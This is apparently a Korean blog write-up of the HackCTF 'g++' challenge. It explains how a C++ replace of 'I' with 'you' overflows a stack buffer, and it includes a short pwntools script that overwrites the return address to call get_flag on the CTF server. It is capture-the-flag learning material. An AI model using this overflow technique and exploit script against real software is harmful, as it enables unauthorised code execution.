728x90
[HackCTF] g++
Date | |
---|---|
Tags | report |
1. 문제
![](https://user-images.githubusercontent.com/35132299/79045734-90acfe00-7c47-11ea-8caf-a52c773851c4.png)
NX 비트가 걸려있는 것을 확인 할 수 있다
![](https://user-images.githubusercontent.com/35132299/79045728-8db20d80-7c47-11ea-921b-bca97064f1ac.png)
프로그램을 실행시키면 다음과 같은 문구가 뜨고 입력할 수 있는 공간이 뜬다
그리고 So, + 입력한 문자열이 나온다.
코드를 한번 봐보자
![](https://user-images.githubusercontent.com/35132299/79045729-8ee33a80-7c47-11ea-98de-1cb5996fd721.png)
메인 함수는 별게 없다. Vuln함수를 봐보자
![](https://user-images.githubusercontent.com/35132299/79045730-8f7bd100-7c47-11ea-9f15-b65a37da5aa9.png)
vuln 함수는 다음과 같다. c++ 코드로 되어 있는것 같은데 굉장히 복잡해 보인다.
우선 s변수에 fgets로 값을 입력받는다.
![](https://user-images.githubusercontent.com/35132299/79045731-8f7bd100-7c47-11ea-8eba-6abf6f1b9eca.png)
그리고 get_flag 함수가 있는데 이거를 실행시켜야 플래그를 획득할 수 있을 것같다
흐름을 보쟈면, fgets 함수와 strcpy 함수를 이용하여 bof를 일으키고, get_flag 함수를 실행시키면 될것같다
2. 접근방법
![](https://user-images.githubusercontent.com/35132299/79045733-90146780-7c47-11ea-8456-3880c69028e1.png)
- 코드를 보면 처음에 입력한 값이 s에 들어가고 그걸 input에 복사한다
- 그다음 v5에 "you", v7에 "I"를 넣고
- replace 함수를 이용하여 v4에 input, v7 변수를 인자로 하여 "I"를 "you"로 변경시킨다
그렇다면, 처음에 fgets는 32바이트 크기만 입력을 받으므로, ret 주소까지의 거리인 ebp-3Ch , 즉 64바이트 크기만큼 입력을 못한다
하지만 replace 함수를 통하여 I 가 you 로 변경되기 때문에 이를 이용하면 될 것이다
정리하면
- ret까지 필요한 크기 : 64byte
- 페이로드 : I * 21 == you * 21 = 63 여기에 + 1byte(아무값)
이렇게 입력하면 될 것이다
3. 풀이
최종 익스 코드는 다음과 같다
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3011)
#p.recvuntil("Tell me something about yourself:")
#p.recv(34)
payload = "A"
payload += "I"*21
payload += p32(0x08048F0D)
p.sendline(payload)
p.interactive()
recvuntil() 사용하면 중간에 멈추고 진행이 안된다. 이는 서버 오류인듯 싶다
4. 몰랐던 개념
c++ 아이다 코드에 익숙해져야겠다
728x90
'워게임 > HackCTF' 카테고리의 다른 글
[HackCTF] poet (0) | 2020.04.11 |
---|---|
[HackCTF] Offset (0) | 2020.04.11 |
[HackCTF] BOF PIE (0) | 2020.04.11 |
[HackCTF] Basic FSB (0) | 2020.04.11 |
[HackCTF] Baisc BOF 2 (0) | 2020.04.11 |